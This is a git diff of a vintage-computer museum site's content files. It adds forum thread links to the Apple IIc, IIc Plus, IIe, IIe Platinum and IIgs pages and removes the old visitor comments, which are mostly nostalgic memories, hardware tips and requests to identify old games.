http://en.wikipedia.org/wiki/List_of_Apple_II_clones this is a incomplete list but there is a lot here on the list not sure if this helps any - - author: Thomsonicus (Poland) - date: Saturday 10th February 2007 - text: cool video! related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/apple-iic-plus.md b/content/museum/apple-iic-plus.md index 43185c24..ce19f724 100644 --- a/content/museum/apple-iic-plus.md +++ b/content/museum/apple-iic-plus.md @@ -62,6 +62,7 @@ params: - links - docs - videos + forum_thread: 55 photos: - title: APPLE IIC PLUS subtitle: '' @@ -508,25 +509,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Matthew Hamilton (United Kingdom) - date: Monday 29th March 2021 - text: Do you know or know where I could find sales figures for the Apple IIc Plus specifically? I have only been able to locate numbers for the entire Apple II series as opposed to individual models. Many thanks. - - author: Mat Payne - date: Sunday 7th October 2012 - text: my parents still have one of these in their basement. still works as well! I wonder how much they are worth these days - - author: G.Y. (Georgia, USA) - date: Sunday 24th September 2006 - text: If I think I'm correct, this was the computer I remember using in Elementary School, I was in 7th grade. My teacher would set us up some work to do on this computer. Wow times have changed, now I'm 32. Commodore64 was my first computer that I got from parents, me and my brother would play games on it alot. We were around 15 yrs old at the time. Today Im on a Dell 8200 that I got back in late 2001. When you look at these computers it brings back memories. - - author: Rev (Dallas, TX) - date: Sunday 7th May 2006 - text: The Apple IIc+ was my families' first computer, and later became my first computer. I remember staring at the green glow coming from the screen, and playing variants of classic games. I can still hear the ticking from the disk drive, and the long waits for papers to print. Good times. - - author: Thor Madsen (Chicago) - date: Monday 15th March 2004 - text: |- - I "married" into the Apple IIc. When I went back to finish my degree, I spent many a night writing term papers on this and waiting for them to print out on the dot matrix. I used the the included VisiCalc - or was it AppleCalc? - to put together our first household budgets. - - Man, that monitor stand was one heavy weapon! related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/apple-iic.md b/content/museum/apple-iic.md index 37e0ba78..88e94807 100644 --- a/content/museum/apple-iic.md +++ b/content/museum/apple-iic.md @@ -69,6 +69,7 @@ params: - links - docs - videos + forum_thread: 84 photos: - title: SYSTEM subtitle: '' @@ -591,57 +592,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Malachi McCoy (United States) - date: Friday 14th October 2016 - text: |- - We had a iic as a kid growing up!!! - - It had a COLOR screen and a 7 color dot-matrix printer. Top of the line at the time. My friends had Compaq''s and Atari''s!!! - - author: manbearpig - date: Tuesday 13rd May 2014 - text: i was just wondering, how much is this thing worth? found one in my basement, and it works, so is it of any value? - - author: Erick (USA) - date: Friday 28th March 2014 - text: This computer makes a brief appearance in the move 2010 - - author: Dagmar - date: Thursday 4th November 2010 - text: Our first computer was a Apple IIc(1985) too and in Germany nobody trust at that time these strange boxes. But we loved to learn programming Basic and it still is working. From a trip to USA we brought our first game the "Wishbringer" and it was exciting to play it! - - author: Tom (USA) - date: Monday 27th September 2010 - text: The Apple IIc was my first computer also. I learned about computers in jr. high and high school on Apple II''s and IIgs''s, so when a friend wanted to sell hers I bought it. Had lots of fun using Appleworks like in school, plus playing games like Wavy Navy and Typhoon of Steel on it. Like Stephen Tripodi said, the bootup was always noisy, but that sound is nostalgia to me now. - - author: Stephen Tripodi (USA) - date: Monday 30th January 2006 - text: Ahh.... good memories. I had a IIc as my first computer. It was on this machine that I first learned to program computers, with the built in Applesoft BASIC. I fondly remember playing such games as Super Munchers and Flight Simulator II on that tiny 9 inch green monochrome monitor. One thing I also remember is the awful grinding noise the built in drive made when booting up. The first time I ever used the thing, I thought I had broken something. :-) - - author: Thierry Legros (France) - date: Thursday 29th December 2005 - text: I have seen this Apple IIc into the movie "Explorers" from Joe Dante with Ethan Hawk. This is the computer the guy uses to connect his extra-terrestrial electronic board which creates a force field - - author: Alex (Minnesota) - date: Monday 19th December 2005 - text: I recently found an Apple IIc in my garage. I remember playing it in the early 90's when my aunt gave it to our family. We kept using it until at least 1996 or 97. I was really excited when I found it. I need to get more software though... Most of my disks dont work. - - author: Aran Carrigan (USA) - date: Wednesday 9th March 2005 - text: 'The IIc had two odd problems: It had a TV out just like the C64, but it didn''t respond usually. Another problem was that the PSU tried to store energy, but it constantly got hot even when the computer was turned off.' - - author: Chris (North Carolina) - date: Tuesday 8th June 2004 - text: i have a lot of old computers and i love to collect them. My favorite types are apples. I have an apple //c that is my most favorite of all of them. I will be asking around for some accessories for it. - - author: Ricky (Maryland) - date: Monday 22nd December 2003 - text: I just found one of these machines at a yardsale a few months ago, they gave it and about 50 peices of software to me for free! It was made before my time but I love old electronics so I thought Id give it a try, Its a great old machine! By the way, anyone who dosent have a monitor, just plug it into the video plug on your tv. - - author: Tim (Portland OR) - date: Thursday 20th March 2003 - text: |- - The Apple //c was my very first computer and fully responsible for getting me hooked on computers. It was a gift for my 6th birthday from my grandfather, grandmother, mother and father. They all pooled the money together because "This could be something big some day". Little did they know it would lay out my professional career. - - I remember spending hours exploring what exactly the computer could do, running any piece of software I could come across, coding dinky programs in basic. - - A great system, I'm almost tempted to try and locate it and boot it up again. - - author: Ken Duncan (Nth Ipswich, Australia) - date: Tuesday 23rd April 2002 - text: My first computer also, purchased Apr 86. Spent many late nights at friends place learning about computing, (and drinking lots of beer-thanks Wayne). Added Applied Engineering 1mb RAM card (run Appleworks in RAM-no disk access required), 3.5" external drive and 5.25" external drive. Loved programming in AppleBasic. Added in a lot of the Beagle Bros enhancements (Appleworks was great!) - - author: Isaac Johnson (Minneapolis, MN, USA) - date: Tuesday 5th March 2002 - text: my first computer (..tear..). Wonderful machine - brittle power cord plug. They even had a cool optical mouse for it with a graphics package. related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/apple-iie-platinum.md b/content/museum/apple-iie-platinum.md index e6ae1f12..4c67f0f6 100644 --- a/content/museum/apple-iie-platinum.md +++ b/content/museum/apple-iie-platinum.md @@ -72,6 +72,7 @@ params: - links - docs - videos + forum_thread: 951 photos: - title: LARGE VIEW subtitle: '' @@ -506,47 +507,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Henry (usA) - date: Saturday 13rd January 2007 - text: Check out my Page - - author: Henry (USA) - date: Wednesday 18th October 2006 - text: |- - How to remove Cards - - Remember the Slot!!\ - Grasp the sides of the card with your hand and pull, be careful! NEVER WIGGLE THE CARD FROM SIDE TO SIDE!!! Rock it BACK AND FORTH. Carfully. Do NOT FORCE IT! You should never tocu the golden 'teeth' on the bottom of the card; this can distort data that is transferd through them or ruin the card forever. When you put the card back in, do the same manuver as befor, but push (not too hard). The components (all that stuff) face away from the power supply. Sometimes there is a label that show you where it should face. - - author: Henry (USA) - date: Wednesday 18th October 2006 - text: |- - Want to see if you Apple IIe Platinum is in tip top shape? Simply press Control-Option- Reset\ - Patterns will appear on the screen and will stay for a few moments as the machine searches for any problems it has. If you hear a sound and see the messege - - System OK - - Then great! - - If not, the problem may be one of the cards inside. Open the Apple IIE and CAREFULLY remove ONE card at a time and run the test. Repet the process with each card, one at a time. This is a great way to look for problems with your Apple IIe Platinum. Good Luck! - - author: Henry (USA) - date: Friday 14th October 2005 - text: |- - If you need a monitor for your Apple IIe Platinum you can use a television. Yes that's right! All YOU need is a TV or a VCR with the yellow, red, and white cords. These can be found in any electromic store where a TV can be purcahased. What you need is the YELLOW cable. It hooks right in to the IIe platinum and connects with the\ - TV/ VCR.\ - What you need\ - -A Yellow Video cable\ - \- A TV/ VCR with the RED, White and Yellow jacks.\ - Look at the "rear side" of the Apple IIe platinum and in the lower left hand corner farthest left is where the jack pluggs in. - - Good Luck! - - author: Henry (US of A) - date: Tuesday 24th May 2005 - text: |- - When you want to add a device like a floppy drive and the 12 slots in the back are empty, you'll need a controller card. Other devices like- Printers, a mouse, RGB moniter, etc, must have this too.\ - A printer or modem you need a Super Serial card made by Apple. These ar't made any more but can be found on EBAY.COM - - author: Link (Hyrule) - date: Friday 8th April 2005 - text: I have about 12 Apple IIs, II+s, IIc's and IIes and this is the one I use. It's the newest machine, I have it on ethernet, and it has the numeric keypad. Best IIe ever! related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/apple-iie.md b/content/museum/apple-iie.md index 01dd0280..d73a38d0 100644 --- a/content/museum/apple-iie.md +++ b/content/museum/apple-iie.md @@ -73,6 +73,7 @@ params: - links - docs - videos + forum_thread: 98 photos: - title: IIE CASE subtitle: '' @@ -591,286 +592,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Brady (USA) - date: Thursday 28th June 2018 - text: I work for my school''s IT department and recently found one of these tucked away in a closet covered in decades of dust. The school decided to junk the thing but after cutting through miles of red tape and talking with an administrator that I had impressed in the past I managed to save it. I am happy to say that it is in perfect working order, is in beautiful condition, and won''t be going anywhere near a junkyard for a very very long time. - - author: TransParent (CT/USA) - date: Wednesday 17th January 2018 - text: My first job out of college in 1981 was in the Environmental Hygiene Laboratory at Olin Corporation in New Haven, CT. We had an HP data acquisition system connected to a Teletype terminal. The HP system needed to be booted up using a key, input switches and a series of three paper table rolls. This system did the data integration for up to four of our Gas Chromatographs (all HP 5710A''s). In 1984, my boss purchased a Varian Vista 402 to replace the HP system. He wanted a computer for the laboratory but could not get it justified. Varian was smart - they had a "Vista Plus" package to go along with the Vista 402 Data Acquisition system. The Vista Pus package was an Apple IIe computer with dual floppy drives and a serial cable to connect the DA system to the IIe. It also came with a small assembly language program to transfer the data from each channel (up to four - one for each GC) to the IIe when it completed it analysis on each sample. I wrote a program to display the data for - all four channels (needed the 80 column graphics card). In then enhanced the program to store the data, perform all of the calculations (blank subtraction and spike correction) that we used to do by hand and then write a nice neat report listing each sample analyzed and the concentrations of up to 15 components in each sample. My boss loved what I had done. No more errors by doing hand calculations and then the secretaries typing our results into the Xerox word processor as a neat report to send to the Industrial Hygenists! - - author: Ivan (Ohio, USA) - date: Tuesday 31st January 2017 - text: Oh wow. This was probably my favorite computer to ever program on. I learned on an Apple $$ first and foremost. Then, we upgraded to the Apple //e with the extensible 80-column card in it. Added another 128K RAM board, and then eventually a Z-80 card so I could run CP/M. I used the Oraca macro assembler as well as the Aztec C environment where I first learned C as well as what a Unix-like environment was like. This is where my geekdom started, all self-taught (Apple Integer Basic, Applesoft Basic, machine language, assembler, Pascal and then C). Miss those days. - - author: Kelly Roach (Harlingen, TX, United States) - date: Thursday 14th May 2015 - text: |- - Ah, the workhorse that was the Apple //e. I had once owned both one of these and a IIplus, and had many a fun hour writing programs for these two rugged computers (their Disk II units failed long before they did.) - - With only rudimentary graphics and sound capabilities, these were among the most extensible 8-bit computers of their time, with parallel and serial cards, an 80-column card (one model with an extra 48 kB of RAM,) and even a Z80 Softcard for CP/M! - - I still kinda wax nostalgic when I think about these computers. - - author: Jason (Ohio, USA) - date: Saturday 2nd February 2013 - text: I actually bought seven IIe computers along with some monitors and parts a week ago for $40. People around here have just been hauling these computers to the dump and recyclers and I thought I would try and save at least a few! It''s been fun to work on them. :) - - author: frank (Monterrey Mexico) - date: Wednesday 5th December 2012 - text: |- - Anyone interested in an Apple IIe need to sell it because I have some debts if anyone is interested please contact me to my email\ -   frank-garcia89@hotmail.com - - author: JP (Canada) - date: Thursday 19th July 2012 - text: I was driving along last week through an area in Ottawa where it was Garbage day and I found full Apple IIe System complete that works! I love Old technology that works, but what should I do with it NOW? - - author: David Roberts (USA) - date: Thursday 22nd March 2012 - text: |- - My Apple //e died today, 3/22/2012, somewhat. There was a whoosh sound followed by a pop sound, then an odor of something hot, but no smoke. I turned it off and opened it up but could see no indication of trouble. - - Afterward, when I turned it back on everything seemed normal..?? But after an hour or so of working normally, neither disc drive was able to read a disc although the disc would spin. Nor could I change anything on the monitor screen with the keyboard. - - Both drives spin but neither could read or write. The keyboard could not change anything on the monitor. - - DIAGNOSIS NEEDED and solutions requested.\ - Thanks,\ - Dave - - author: David Roberts (USA) - date: Thursday 22nd March 2012 - text: |- - My Apple //e died today, 3/22/2012, somewhat. There was a whoosh sound followed by a pop sound, then an odor of something hot, but no smoke. I turned it off and opened it up but could see no indication of trouble. - - Afterward, when I turned it back on everything seemed normal..?? But after an hour or so of working normally, neither disc drive was able to read a disc although the disc would spin. Nor could I change anything on the monitor screen with the keyboard. - - Both drives spin but neither could read or write. The keyboard could not change anything on the monitor. - - DIAGNOSIS NEEDED and solutions requested.\ - Thanks,\ - Dave - - author: Sharon Gondek (MN) - date: Monday 12th September 2011 - text: If anyone else has an interest in the AppleII stuff, email me @ sharong311@aol.com. It is too much stuff to pack and ship so know that it is in MN. - - author: gaparoonie (United States) - date: Wednesday 31st August 2011 - text: i have 3 working apple IIe''s with software (educational mostly). printers too. - - author: ronwoch - date: Thursday 25th August 2011 - text: Sharon I would be interested. Email ronwoch at gmail - - author: ronwoch - date: Thursday 25th August 2011 - text: Sharon I would be interested. Email ronwoch at gmail - - author: Sharon Gondek (MN) - date: Wednesday 24th August 2011 - text: I have enough Apple II stuff for a reasonably complete museum. Includes the Apple graphics tablet, repair manuals, Thunderscan, printers, etc. Is anyone out there interested? - - author: Amin (United States) - date: Tuesday 8th March 2011 - text: |- - I need Parallel interface card(model $ 7720) for Apple IIe.\ - does anyone help? - - author: Edi G. - date: Sunday 13rd February 2011 - text: |- - Hi there\ - i found 1 unit of IIe + monitor.\ - what should be the price that i can get for this item on the free market? - - Thanks\ - Edi\ - edigemail@gmail.com - - author: Hans ( Canberra ) (Australia) - date: Monday 5th July 2010 - text: |- - I am still running my 2e\ - details are on my site,\ - http://members.iinet.net.au/\~hal01/public_html$20copy/Apple_2e_hardware_software.html - - author: Dylan Malama (Wellston, Mi) - date: Saturday 5th June 2010 - text: 'I own an Apple Iie Enhanced, but just two weeks ago, something catastrophic happened: I was carrying it down to my basement when I tripped over two steps and tumbled to the cement. my Apple''''s speaker was smashed, and my motherboard was junk. I still have lots of parts models, but I need some time to fix it.' - - author: JM - date: Wednesday 2nd April 2008 - text: |- - Paul, the game you are looking for is called Agent USA. Here is the wikipedia link. I remember it too and we loved it.\ - http://en.wikipedia.org/wiki/Agent_USA - - author: Paul (Lansing, MI) - date: Sunday 7th January 2007 - text: |- - I am looking for a game that I played back in elementary school on an Apple 2E (I think… about 80% sure). I am not sure what the game is called. It might have the word Crystal in the title, but if I remember correctly, you played a guy who would walk around and plant crystals that would then multiply over time. But there were bad guys who would come and take them away if you didn’t collect them back up again. - - In my memories, the layout of the game was 3ed person looking down and had a very Atari 2600 look and feel to it. Also I think you started each level by getting off a train, each board would be like a new town or level… but that might not be correct for this game… it has been a while. - - If anyone knows what the name of his game is, please let me know. I would love to find it if it is available. - - author: John Orton (Milwaukee, WI.) - date: Tuesday 28th November 2006 - text: |- - I am hunting for a copy of Jenny of the Prairie for the Apple IIe. - - Thanks - - author: Geno (St. Louis, MO) - date: Friday 30th June 2006 - text: |- - My brother and I spent many hours playing video games and programming our 2e. It was a big step-up from our TI-99. - - The old 2e was quite tough to stand up to our abuse. - - Some of our favorite games included Ultima, Castle Wolfenstein (the original), a game where you served beer at a bar, Jaust (a game where you flew a bird into other birds and collected eggs), Lode Runner, a Karate game (very good graphics) and flight simulator. We usually copied the disks of our friends since we could not afford to buy them. Various copy protection schemes were being used unsuccessfully and nefarious people would release underground software to get around them (just like modern times). - - Learned to hack binary files by using Norton Utilities (the original) to read each disk sector for ASCII code that could be changed and customized. - - My grandfather and I made a light pen from a magazine article. - - My mom learned to like/hate the computer as I soon was spending all of my time messing with it. The career path didn't turn out so bad, however. - - author: Josh (Texas) - date: Saturday 17th June 2006 - text: I customized my Apple IIe into a wider but short in heigth case. and secured the keyboard to the top of the case. I placed the system and a monitor on a metal rolling cart, and I take it outside with my telescope at night, and I wrote star plotting software in Applesoft basic. And thats what I use it for! - - author: baxter (newark,ohio) - date: Monday 24th April 2006 - text: I have some apple 2e software and I would like to run it on a newer Mac--os 9.1--- Is this possible? They are on 5 1\\4 floppies and I have extra drives to plug into the powermac. will it work?? - - author: Alex (New York) - date: Friday 17th March 2006 - text: Is there any way to figure out if my Apple IIe is worth anything. I just found it in my brother's closet. I don't have a monitor for it, so I figured I could sell it, hoping to cheer someone up somewhere. - - author: Lynette (Anchorage, Alaska) - date: Saturday 11th February 2006 - text: I've got some 5.25 floppies which were created on my Apple lle in the 80's. Does anyone out there have the ability to retreive the files? - - author: Ora Fleischer (Littleton, Colorado) - date: Friday 2nd December 2005 - text: I am 82 and pretty much housebound caring for an ailing wife, so i can't get out to look for stuff. I touched my first computer (a Quadra) about two years ago and it seems I have a natural affinity for Macs. Anyway, someone gave me an Apple lle yesterday with the monitor, 'profile' hard drive and 'silentype' thermal printer.Unfortunately no cables, also a few keys are missing. Does anyone have these items they would part with? I would be able to reimburse for shipping costs. - - author: Josh (California) - date: Monday 12th September 2005 - text: |- - I am trying to remeber the name of a 2e game I used to round 1990 (game may have been older than me) that was a scrolling style adventure with graphics\ - where you had to type the commands in and recieve a response -\ - the story line had something to do with people living in trees and elders. you could even harvest grapes and so forth. - - author: Austin Erwin-Martinetti (USA) - date: Wednesday 19th January 2005 - text: |- - The Apple \]\[e was the first computer I ever saw as a kid; perhaps the\ - first thing I saw as a kid. Mine has a nice history behind it, but\ - finished off with an ending I would have liked to have rewritten. When\ - I was about the age of 3, my brother and I (10 at the time) used to\ - love playing on the old Apple. We used to spend many hours playing\ - Oregon Trail, Sticky Bear, Lemonade stand, and other games. One of\ - the games, I remember we nicknamed "number dumber" because the disk\ - had no label. The other side was a cheaply made pinball sim. The game\ - had 4 floors, and you, as a stick man, had to ascend and descend the\ - ladder, collecting the numbers 1 through 10, while evading enemies.\ - The second level resembled the game Donkey Kong. I remember calling my\ - mom constantly to read what was on the screen for me. This was usually\ - around 8:00 or so, and my brother was walking to school. I used to\ - drive her (as well as my dad) crazy with the buzzing of the disk\ - drive, and the sound FX from the games, as it was out in the living\ - room, next to our Macintosh Classic. One day when I was four, the disk\ - drive broke. What it would do was, it would power up properly, but it\ - wouldn't do anything; no matter what, it remained at the bootup\ - screen. Later on, I asked my dad if he could fix it. He couldn't.\ - Instead, he handed me two of the original\ - "Disk \]\[ 5 1/4" drives and an interface card and said "Here. If you\ - can't get this to work, I'll help you when I get home" and went off to\ - work. Later on in the day, I was studying the IIe carefully, looking\ - where to put the card in. I detatched the cover and studied the ports.\ - Uninstalling the redesigned drive controller, I figured that the board\ - would go in the spot where the old one was. Figuring out eventually\ - how to set it up, I carefully booted the computer. It worked. After\ - boasting to my parents for several hours, I resumed normal play. A\ - year later, my brother seemed to lose interest in it, and gain\ - interest in the Classic. Also,\ - we bought a modern Pentium-based computer in early '97, and put in the\ - desk next to the Classic. It was a HP 7000 tower series computer. We\ - got a 693C printer along with it, and a software bundle, including\ - children's book software such as "Sam I am", 'Lil Howie's Math\ - adventure, etc. Around kindergarten, I proclaimed the computer "mine".\ - I moved it to my room, including all the software and the monitor. I\ - was so happy with it there, I even wrote "Austin's Computer" on it\ - with a yellow colored pencil next to the //e logo. Then one day around\ - 2nd grade, one of the disc drives nearly caught fire, and started\ - smoking ( it seems pretty funny to me now, so don't worry about\ - laughing about it :) ). I simply replaced the drive with the other. It\ - worked for a while. Eventually that one broke too. My guess is it was\ - due to my inept handling of the I/O card. I later noted that one of\ - the disc capacitors used to control the 2nd drive was broken off when\ - I installed it in '95. That wasn't the only computer having a bad day.\ - The HP's motherboard got damaged somehow. We replaced it with a newer\ - 8380 series in '98. Many other things happened over time until we got\ - our handbuilt P4 computer made by my crafty brother (with some of my\ - help) :P. The 693C printer is working. It is being used by my dad in\ - his home office, and been replaced by a 950C that I fixed. As for the\ - Classic, it's still kicking. It's in my room, along with my handbuilt\ - P3 and my commodore 64, vic-20, 3 vcrs, and my laptop, electric guitar\ - (which i'm getting pretty damn good at), etc. My //e was sold to the\ - computer recycling center by my dad around '99 or so (boy was I mad!)\ - since the disk drives broke. At the age of 12 now,\ - I've exanded my horizons into much more interests, but computers still\ - hold a special place in my heart. I'm looking in to buying another //e\ - just for nostalgia's sake, or because I would\ - like to look into buying more 8-bit computers. - - P. S. If you know the name of that "number dumber" game, please tell\ - me. I would like to\ - atleast play it again on an emulator. - - I know it was quite long, but thanks for listening! - - author: Stephen Knotts (USA) - date: Saturday 27th November 2004 - text: I bought an Apple IIe off eBay and I have NO disk drive, and no use for it, but it's the only computer in my collection. I love it. - - author: Joe (USA) - date: Thursday 14th October 2004 - text: |- - TAMARA - Found this little site - its a start. - - http://home.swbell.net/rubywand/A2FAQs4MAJORSITES.html - - author: Joe (USA) - date: Thursday 26th August 2004 - text: ANTHONY - name of game is "sabotage". - - author: Linda (Canton, MI) - date: Sunday 22nd August 2004 - text: Trying to remember a game we played on the Apple IIe where you would gather 'memstones' by answering questions correctly. You build a home out of these memstones so that the hurricane at the end of the game doesn't blow you away! Can anyone help? (Science Island????) Who made it? - - author: Anthony (Ft Lauderdale, FL USA) - date: Friday 20th August 2004 - text: Looking for a game I used to play around 1983. It was a arcade style game, had a gun turret in the center bottom portion of the game, and using the arrows keys, you had to shoot down parachuters. If you didnt, they would land and climb up to the turret, if enough landed, they would climb onto the top of the gun turret and blow you up. If you shot the parachute and not the person, the person would fall to his death below. If there was a person below, he would fall onto of him and thus killing both. Anyone know the name of that game ? - - author: Webmaster (France) - date: Tuesday 13rd July 2004 - text: |- - You will find this game on this FTP site :\ - ftp.apple.asimov.net/\ - in the following directory:\ - pub/apple_II/images/games/simulation/ - - enjoy - - author: Philipp E. Bornstein MD (Springfield/Illinois/USA) - date: Monday 12th July 2004 - text: |- - I am seeking an old Apple II or IIE game entitled Three Mile Island. It is a simulation game of an atomic pile. Objective is to prevent melt down.\ - thanks - - author: Qbman (USA) - date: Tuesday 11th May 2004 - text: |- - The apple IIe is NOT really a DOS system, it mainly ran thru BASIC\ - And used ProDos (which is NOT the same as DOS) - - author: Andrew (Ontario, Canada) - date: Tuesday 16th March 2004 - text: I can help with any Apple II questions you may have. Please email me if you need something answered, or want some software copied; I have games, disk-copying utilities, word processors and lots more stuff. - - author: Tony Buser (Lansdale, PA) - date: Sunday 30th November 2003 - text: |- - Jay, the game you're thinking of is Robot War. There's a few projects that are remaking it at: - - http://robowar.sourceforge.net/\ - http://www.robotbattle.com/ - - author: Melanie (florida) - date: Sunday 5th October 2003 - text: oops, my last post had the wrong email, the correct email is above. If you can offer me any help, I would greatly appreciate it....Thanks again - - author: Melanie (florida) - date: Sunday 5th October 2003 - text: I have jusy recently been given an Apple IIe computer. I am unfamiliar with DOS based systems. . I was wondering if anyone could help me figure out how to work it. I was thinking this would be a good way to introduce my 5 year old to computersIt came with many floppys, including apple worls startup, 3.3 dos, etc. The computer works, when you turn it on, Apple//e comes up. But I do not see any prompt. And I do not know how to load any of the disks. LOL I am a windows XP type. Any help or advise would be appreciated. Thanks. - - author: jay chap (usa) - date: Thursday 25th September 2003 - text: I was wondering if someone could tell me the name of a game I played on the apple iie as a kid (1987/88)? I think it was made by Spinnaker or Broderbund. The best way I can describe it is that you controlled (programmed?) pod shaped robots to accomplish certain tasks like picking up items, turning on/off switches, and possibly turning on other robots? This is the best I can do...Does anyone know the Name of the game/program I'm talking about?? Thank you so much!! - - author: Matt (New Zealand) - date: Wednesday 14th May 2003 - text: I just got my IIe Platnum like yesterday and know I hardly play on my newer one! Its awesome - - author: michael (u.s.a) - date: Monday 31st March 2003 - text: I have 4 iie's. 3 are the platium with color monitors. one has a duo drive. the other one is the orginal iie with a green monitor. I have over 200 disks for them. I still haven't tryed them all yet. Of all the old computers i have the iie is my favorite. - - author: Jonathan Adams (Halifax, Nova Scotia, Canada) - date: Friday 13rd September 2002 - text: The Apple IIe was the very first computer that I used. This was back in 1990 when I started 4th grade. I have my own Apple IIe now. related: - /museum/apple-ii - /museum/apple-ii-571 diff --git a/content/museum/apple-iigs.md b/content/museum/apple-iigs.md index 33064cdd..f755bcd4 100644 --- a/content/museum/apple-iigs.md +++ b/content/museum/apple-iigs.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 86 photos: - title: MONO AND COLOUR SYSTEMS subtitle: '' @@ -305,195 +306,6 @@ params:  compiled/archived by Arnaud Brossard\  type of document : PDF\  source : [www.apple-iigs.info/](http://www.apple-iigs.info/home.htm) - comments: - - author: Skel (Burlington, Ontario, Canada) - date: Sunday 24th March 2019 - text: |- - The Apple IIgs was one of the biggest blunders Apple ever did! The Machine had an amazing graphics ability, fantastic sound system, the disk drives were whisper quiet and fast, the computer''s appearance on the desktop was pleasing, backward compatibility, and it''s operating system was the forerunner to the modern Mac one. A lot of care and time went into engineering this beast. - - There was just one problem - the blunder was not the fault of the machine. NO, the problem was: Apple''s management was not interested in pushing it and preferred the Mac instead! BIG MISTAKE, if this had become the Mac, they would probably have millions and millions of more Mac users today! Such a waste! - - I remember in my senior year in high school, the computer science department had brought in a whole room of these. The Apple IIgs was just better than the first few versions of the Mac at the time and we all preferred to use the IIgs than the Macs! I learned Pascal on the IIgs. I still have fond memories of this computer! - - author: Robert (usa) - date: Friday 31st October 2014 - text: the elementary school i went to in the 90s had a whole computer lab full of these about 50 to 60 of them the only thing we could do on these was word processing or play a bunch of educational games like wild west math or number muncher they even had orgeon trail they were there until i was in the 5th grade back in 96-97 thats when the school upgraded to macs if i remember correctly they were perfoma macs - - author: Tyler (us) - date: Friday 17th October 2014 - text: |- - I have a bunch of equipment for Iigs for sale - - 3 x iigs rom 1 machines all working\ - 2 x memory expansion cards\ - 2 x iigs keyboards\ - 2 x apple keyboard II\ - 7 x adb tank mouse\ - 4 x 3.5 drives\ - 1 x 5.25 drive\ - 3 x iigs color rgb monitors\ - System disks\ - Modems - - and also a rare system it is a Woz edition and in very nice condition it contains the rare hundred megabytes Vulcan internal drive with applied engineering vulcan card along with a rAm gs card and 3.5inch drive and a 5.25 drive all working with a perfect condition RGB color monitor with the Word Perfect corporation asset tag on itplease email me at A9163161094 at Gmail for pictures info and - - author: Bob Murphy (USA) - date: Monday 8th October 2012 - text: |- - Need help with GS/Imagewriter II setup:\ - When printing a program listing, I am getting overprinting (lines more than 80 columns printing on 1 line). Must be a line feed problem? I''ve tried setting Imagewriter dipswitch SW 1-8 to both open and closed to no avail. Can anyone solve my problem?\ - p.s. printer outputs single lines without a problem. - - author: David Guzman (PR) - date: Tuesday 28th August 2012 - text: |- - I remember this little thing, together with the Amiga this was the other computer I wanted to buy back there. I couldn''t because my brother needed a PC compatible for college so my mother bough a PCjr instead (and even those were very expensive back then) and I still enjoyed that one but I would have probably bought an Amiga 1000 and/or a IIgs back there if we could have afforded them. :) - - The IIgs was great machine too, it was backward compatible with the software for the Apple II, it had great graphics (much better than the older II), great sound, it had new tricks up it sleeve, and even a great GUI like the Mac. It was also much faster than the older IIs. Great machine and I don''t know if this was me but I always tough that the aesthetic design of the exterior of the machine was very, very nifty and very cool! As a matter of fact today I still think that! - - If I had a little bit of more cash I think that maybe I would acquire a IIgs CPU and monitor chassis and maybe mod it and retrofit a newer computer inside of the CPU chassis (even if it was one of those miniitx or nano itx PC boards, I don''t care!) and retrofit an LCD display in the monitor case! Yes even if it was PC! There are many options with that, one could run it as a PC and put Windows Blind skins, new Mac like icons, cursors, Mac like wallpapers etc. that made it look like an Apple machine, and/or run an Apple II emulator in it or perhaps use the PC innards to turn it into a Hackintosh!! ja, ja, ja! Maybe put the innards of a Mac mini in it but I just don''t know at the moment if it would fit inside, I just know that it would be way cool and bring back a lot of nostalgic memories. Woohoo!! That would be so cool to do!! Ja, ja, ja. - - I love computers, I have a more let''s say PC cosmopolitan attitude toward them, I am just as happy using a PC as I could be using a Mac or a Linux if it just works good enough, I''m happy with it so this would be very cool to do. - - I was astounded to see that Apple withdrew this machine from the market instead of continuing to evolve it but Apple wanted to push the Mac as their main PC only so they cancelled it at a moment when the II line still had a lot of respect of the community and good penetration in the education sector, that was so sad. - - I many times tough that perhaps this strategy wasn''t so good from Apple, perhaps if they had continued to advance this line they would have covered not only the Desktop Publishing market that they captured with the Mac but they would have continued to capture a great part of the education sector and maybe later on they could have somehow merged the two architectures or make them very interoperable and maybe today the Mac would have had a larger market share, perhaps. - - author: Amanda (us) - date: Tuesday 23rd November 2010 - text: i have a iigs computer that i am wanting to sell if anyone is interested email me at rocketchic20@yahoo.com - - author: Kyle (NH, USA) - date: Tuesday 3rd August 2010 - text: Sorry Im just basking in IIgs glory. I remember back in the day we had only one of these machines in our elementary school that could actually use a modem and communicate with other schools lol. Wow what an event that was, to actually communicate with a school from accross the country... I actually enlisted my Dad to come into our school and teach us ablout telecommunications, for he at the time worked as an IT for a little company called Sungard Data Recovery Systems. I will never forget my Dad teaching my 3rd grade class about this new horizon in technology :) Thanks Dad. Youre the reason I still have one of these incredible machines. - - author: Kyle (NH, USA) - date: Tuesday 3rd August 2010 - text: |- - I have a IIgs Woz Limeted edition sitting right here next to me. I love the GSOS operating system and the colors/graphics are second to none. I am currently looking for some more memory and a SVGA card for it. I heard some loony actually ported Quake to this machine.... Imagine that, a machine from ''86 able to support a game from ''96. The IIgs is definately the greatest system I have ever used.\ - (PS: YES I have used an Amiga so all you Amiga fans can be quiet, I still prefer the IIgs...) - - author: MaryAnne (Irvine, CA USA) - date: Wednesday 9th June 2010 - text: I still own an Apple IIGS and it looks brand new $ still works! My first Apple. I''m a huge Mac fan, will be keeping this for my geeky home office museum. :-) - - author: Poopskin the liar (Naperville, Illinois) - date: Friday 13rd June 2008 - text: Well, i may have been born in 1994, but i have quite a interest in many old computers, particularly the IIGS and the LISA. in a few days, i'll be procuring a IIGS off ebay! Man! i feel so geekily 